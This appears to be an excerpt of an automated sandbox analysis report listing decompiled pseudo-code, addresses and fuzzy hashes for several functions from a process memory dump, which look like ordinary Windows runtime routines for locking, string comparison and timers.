0x00dc6f26
0x00dc6f26
0x00dc6f33
0x00dc6f41
0x00dc6f44
0x00dc6f47
0x00dc6f54
0x00dc6f65
0x00dc6f77
0x00dc6f7c
0x00dc6f82
0x00dc6f91
0x00dc6f99
0x00dc6fa3
0x00dc6fae
0x00dc6fae
0x00dc6fba
0x00dc6fbb
0x00dc6fbc
0x00dc6fc1
0x00dc6fc2
0x00dc6fd3
0x00dc6fd8
0x00dc6fd8
0x00dc6fdf
0x00dc6fe8
0x00dc6fee
0x00dc6fee
0x00dc6ff5
0x00dc6ffb
0x00dc6ffb
0x00dc7004
0x00000000
0x00dc700a
0x00dc7004
0x00dc6eb3
0x00dc6e9c
0x00dc7015

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 85e71d587aeec9389f68880c7357d87f188f8b666c1014f70c2d4a1861692577
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 7B717871A0061AAFCB10DFA8C985FEEBBB9FF48704F144169E505E7251DB34EA41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D452A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00D452A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E00D5EEF0(0xe379a0);
					_t104 =  *0xe38210; // 0x782bc8
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E00D5EB70(_t93, 0xe379a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E00D89890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E00D5EEF0(0xe379a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E00D5EB70(0, 0xe379a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0x782bd5
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E00D7F0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E00D5EEF0(0xe379a0);
									__eflags =  *0xe38210 - _t104; // 0x782bc8
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0xe38210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E00DC4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E00D5EB70(_t95, 0xe379a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E00D895D0();
											L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E00D895D0();
											L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E00D5EB70(_t93, 0xe379a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E00D895D0();
										L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E00D895D0();
										L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E00D7F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x00d452a5
0x00d452ad
0x00d452b0
0x00d452b3
0x00d452b7
0x00d452ba
0x00d452bf
0x00d452c4
0x00d452cc
0x00000000
0x00000000
0x00d452ce
0x00d452d9
0x00d452dd
0x00d452e7
0x00d452f7
0x00d452f9
0x00d452fd
0x00da0dcf
0x00da0dd5
0x00da0dd6
0x00da0dd7
0x00da0dd8
0x00da0dd9
0x00da0dde
0x00da0ddf
0x00da0de0
0x00da0de1
0x00da0de2
0x00da0de5
0x00da0dea
0x00da0dec
0x00da0f60
0x00da0f64
0x00da0f70
0x00da0f76
0x00da0f79
0x00da0f79
0x00000000
0x00da0f64
0x00da0df2
0x00da0df7
0x00da0e04
0x00da0e0d
0x00da0e0d
0x00da0e10
0x00da0e1a
0x00da0e1c
0x00da0e4c
0x00da0e52
0x00da0e61
0x00da0e67
0x00da0e6b
0x00da0e70
0x00da0e76
0x00da0ed7
0x00da0edc
0x00da0ee0
0x00da0ee6
0x00da0eea
0x00da0eed
0x00da0ef0
0x00da0ef3
0x00da0ef6
0x00da0ef9
0x00da0efe
0x00da0f01
0x00da0f01
0x00da0f0b
0x00da0f12
0x00da0f16
0x00da0f18
0x00da0f1b
0x00da0f2c
0x00da0f31
0x00da0f31
0x00da0f35
0x00da0f39
0x00da0f3a
0x00da0f3c
0x00da0f3f
0x00da0f50
0x00da0f55
0x00da0f55
0x00da0f59
0x00d452eb
0x00d452f1
0x00d452f1
0x00da0e7d
0x00da0e84
0x00da0e88
0x00da0e8a
0x00da0e8d
0x00da0e9e
0x00da0ea3
0x00da0ea3
0x00da0ea7
0x00da0eaf
0x00da0eb3
0x00da0eb9
0x00da0eb9
0x00da0ebc
0x00da0ecd
0x00da0ecd
0x00000000
0x00da0eb3
0x00da0e21
0x00da0e2b
0x00da0e2f
0x00da0e30
0x00da0e3a
0x00da0e3f
0x00da0e41
0x00000000
0x00000000
0x00da0e47
0x00000000
0x00da0e47
0x00da0df9
0x00da0dfe
0x00000000
0x00000000
0x00000000
0x00da0dfe
0x00d45303
0x00d45307
0x00000000
0x00d45309
0x00000000
0x00d45309
0x00d45307
0x00d452e9
0x00d452e9
0x00000000
0x00d452e9
0x00d4530e
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e656583dee0a3f2ca5026e5d5cb1317ca2fe5a05593ff381597d829b216e0997
Instruction ID: 6e8bc1fb2aed6c010e04f0b1a134878062ba5a681c25dbc2088e87ca89ba2bba
Opcode Fuzzy Hash: e656583dee0a3f2ca5026e5d5cb1317ca2fe5a05593ff381597d829b216e0997
Instruction Fuzzy Hash: 0F51AC71105741AFC721EF64C886B27BBA4FF90710F18092AF8D597652E774E904C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D72AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D72AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0xe38204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0xe38208; // 0xe38207
				_t8 = _t57 + 0xe38208; // 0xe38207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0xe38450; // 0x78174c
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0xe3821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0xe36d5c; // 0x7f500654
							_t72 =  *0xe36d5c; // 0x7f500654
							_t75 =  *0xe36d5c; // 0x7f500654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0xe36d5c; // 0x7f500654
							_t84 =  *0xe36d5c; // 0x7f500654
							_t87 =  *0xe36d5c; // 0x7f500654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E00D8F3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x00d72ae4
0x00d72aec
0x00d72aef
0x00d72af4
0x00d72af7
0x00d72afd
0x00d72b92
0x00d72b92
0x00d72b97
0x00d72b9c
0x00d72b9c
0x00d72b03
0x00d72b06
0x00d72b09
0x00d72b09
0x00d72b0f
0x00d72b15
0x00d72b15
0x00d72b1b
0x00d72b1e
0x00d72b21
0x00d72b26
0x00d72b29
0x00d72b81
0x00d72b84
0x00d72c0e
0x00d72c15
0x00d72c24
0x00d72c24
0x00d72b8a
0x00d72b8a
0x00d72b8a
0x00d72b8a
0x00d72b90
0x00000000
0x00000000
0x00000000
0x00000000
0x00d72b4a
0x00d72b4a
0x00d72b4d
0x00d72b53
0x00000000
0x00000000
0x00d72b55
0x00d72b58
0x00d72bb7
0x00db5d1b
0x00db5d37
0x00db5d47
0x00db5d53
0x00d72bbd
0x00d72bbd
0x00d72bbd
0x00d72bb7
0x00d72b5d
0x00d72c2f
0x00db5d5b
0x00db5d77
0x00db5d87
0x00db5d93
0x00d72c35
0x00d72c35
0x00d72c35
0x00d72c2f
0x00d72b65
0x00d72b9f
0x00d72ba2
0x00d72b67
0x00d72b67
0x00d72b69
0x00d72b6b
0x00d72b6e
0x00d72bc9
0x00d72bcc
0x00d72bcf
0x00d72bd4
0x00d72bd6
0x00d72bd6
0x00d72bdb
0x00d72c02
0x00d72c05
0x00d72c07
0x00000000
0x00d72c07
0x00d72be0
0x00d72c00
0x00d72c3f
0x00d72c3f
0x00000000
0x00d72c00
0x00d72be5
0x00d72be7
0x00d72bec
0x00d72bf4
0x00d72bf6
0x00000000
0x00d72bf6
0x00d72b70
0x00d72b76
0x00d72b2b
0x00d72b2b
0x00d72b2d
0x00d72b2f
0x00d72b32
0x00d72b35
0x00d72b3a
0x00000000
0x00d72b40
0x00d72b43
0x00d72b45
0x00d72b47
0x00d72b4a
0x00d72b4d
0x00d72b53
0x00000000
0x00000000
0x00000000
0x00d72b53
0x00d72b78
0x00d72b78
0x00d72b7b
0x00d72b7e
0x00000000
0x00d72b7e
0x00d72b76
0x00d72ba5
0x00d72ba5
0x00d72ba8
0x00d72bad
0x00000000
0x00000000
0x00d72baf
0x00d72baf
0x00d72bc2
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad534844a2944a24852ded2106a5a0d947dbbcd50dde178d1e35719719b28da
Instruction ID: 645473808413c75288d30b9dcfa0e9a0123f4c5e652906599b3521b31d55ef6a
Opcode Fuzzy Hash: 7ad534844a2944a24852ded2106a5a0d947dbbcd50dde178d1e35719719b28da
Instruction Fuzzy Hash: 1551A076B00155CFCB14DF1DC8809BEB7F1FB98700715C55AE89AAB328E730AA55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00D6DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E00D4CC50(E00D44510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E00D67D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E00E18ED6(_t102, _t98);
						}
						_t76 = _v44;
						E00D62280(_t58, _v44);
						E00D6DD82(_v44, _t102, _t98);
						E00D6B944(_t102, _v5);
						return E00D5FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0xe38628; // 0x0
							_v28 = _t67;
							_t68 =  *0xe3862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0xe38628; // 0x0
						_t105 = _v28;
						_t80 =  *0xe3862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0xe0fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x00d6dbe9
0x00d6dbf2
0x00d6dbf7
0x00d6dbf9
0x00d6dbfc
0x00d6dc00
0x00d6dc03
0x00d6dc14
0x00d6dd54
0x00d6dd54
0x00d6dd54
0x00d6dc18
0x00d6dc1d
0x00d6dc1d
0x00d6dc32
0x00d6dc3b
0x00d6dc3e
0x00d6dc46
0x00d6dd5b
0x00d6dd62
0x00d6dd64
0x00d6dd67
0x00d6dd69
0x00d6dd6b
0x00d6dd6e
0x00d6dd70
0x00d6dd73
0x00d6dd73
0x00000000
0x00d6dc4c
0x00d6dc4e
0x00db3ae3
0x00db3ae8
0x00db3aea
0x00d6dce7
0x00d6dce9
0x00d6dcec
0x00d6dcee
0x00d6dcf0
0x00d6dcf3
0x00d6dcf5
0x00db3af2
0x00db3af5
0x00db3af5
0x00d6dd06
0x00d6dd08
0x00d6dd0b
0x00d6dd12
0x00db3b08
0x00d6dd18
0x00d6dd18
0x00d6dd18
0x00d6dd20
0x00d6dd23
0x00db3b16
0x00db3b16
0x00d6dd29
0x00d6dd2d
0x00d6dd36
0x00d6dd40
0x00d6dd51
0x00d6dd51
0x00d6dc54
0x00d6dc59
0x00d6dc59
0x00d6dc5e
0x00d6dc5e
0x00d6dc63
0x00d6dc66
0x00d6dc6b
0x00d6dc78
0x00d6dc7b
0x00d6dc81
0x00d6dc81
0x00d6dc83
0x00d6dc89
0x00000000
0x00000000
0x00d6dd7b
0x00d6dd7b
0x00d6dc8f
0x00d6dc8f
0x00d6dc92
0x00d6dc99
0x00d6dc9f
0x00d6dca5
0x00d6dcaa
0x00d6dcaa
0x00d6dcb3
0x00d6dcb8
0x00d6dcbb
0x00d6dcc1
0x00d6dccf
0x00d6dcd2
0x00d6dcd5
0x00d6dcd7
0x00d6dcda
0x00d6dcdc
0x00d6dcdc
0x00d6dce2
0x00d6dce4
0x00000000
0x00d6dce4

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd6073d7e13565cde499b023f08131dc8b7b2e1717739b1a59582a0c090bc8f
Instruction ID: 93b87fbc3034175679ca4dfe2c9c8e9f3ab91f4d0ebd5fdca7a0fb6d00943b98
Opcode Fuzzy Hash: 5bd6073d7e13565cde499b023f08131dc8b7b2e1717739b1a59582a0c090bc8f
Instruction Fuzzy Hash: 88517B71E01619DFCB14DF68D490AAEBBF2FB48310F25815AE995A7340DB71AD44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00D5EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E00D49080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x779cc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E00D42D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x00d5ef4b
0x00d5ef4d
0x00d5ef57
0x00d5f0bd
0x00d5f0c2
0x00d5f0d2
0x00d5f0d2
0x00d5f0c2
0x00d5ef5d
0x00d5ef5f
0x00d5ef67
0x00d5ef6a
0x00d5ef6d
0x00d5ef74
0x00d5ef7f
0x00d5ef82
0x00d5ef82
0x00d5ef86
0x00d5ef88
0x00d5ef8c
0x00d5ef8f
0x00d5ef8f
0x00d5ef8f
0x00000000
0x00d5ef91
0x00d5ef93
0x00d5efc4
0x00d5efc4
0x00d5efc4
0x00d5efca
0x00d5efd0
0x00d5f0a6
0x00000000
0x00000000
0x00d5f0af
0x00dabb06
0x00dabb0a
0x00d5f0b5
0x00d5f0b5
0x00d5f0b5
0x00d5f0b5
0x00000000
0x00d5efd6
0x00d5efd9
0x00d5f0de
0x00d5f0e2
0x00d5efdf
0x00d5efdf
0x00d5efdf
0x00d5efe5
0x00dabafc
0x00dabafc
0x00d5efe5
0x00d5efeb
0x00d5efed
0x00d5f00f
0x00d5f011
0x00d5f01a
0x00d5f01d
0x00d5f021
0x00d5f028
0x00d5f029
0x00d5f029
0x00d5f02c
0x00000000
0x00d5f02c
0x00d5eff3
0x00d5eff9
0x00d5f0ea
0x00d5f0ed
0x00d5f0ef
0x00000000
0x00d5f0ef
0x00d5f003
0x00dabb12
0x00d5f045
0x00d5f049
0x00d5f051
0x00d5f09e
0x00d5f0a0
0x00d5f0a0
0x00d5f09e
0x00d5f053
0x00d5f064
0x00d5f064
0x00d5f06b
0x00dabb1a
0x00dabb1a
0x00d5f071
0x00d5f071
0x00d5f07d
0x00d5f082
0x00d5f08f
0x00d5f08f
0x00d5f009
0x00d5f00d
0x00000000
0x00d5f00d
0x00d5efd0
0x00d5ef97
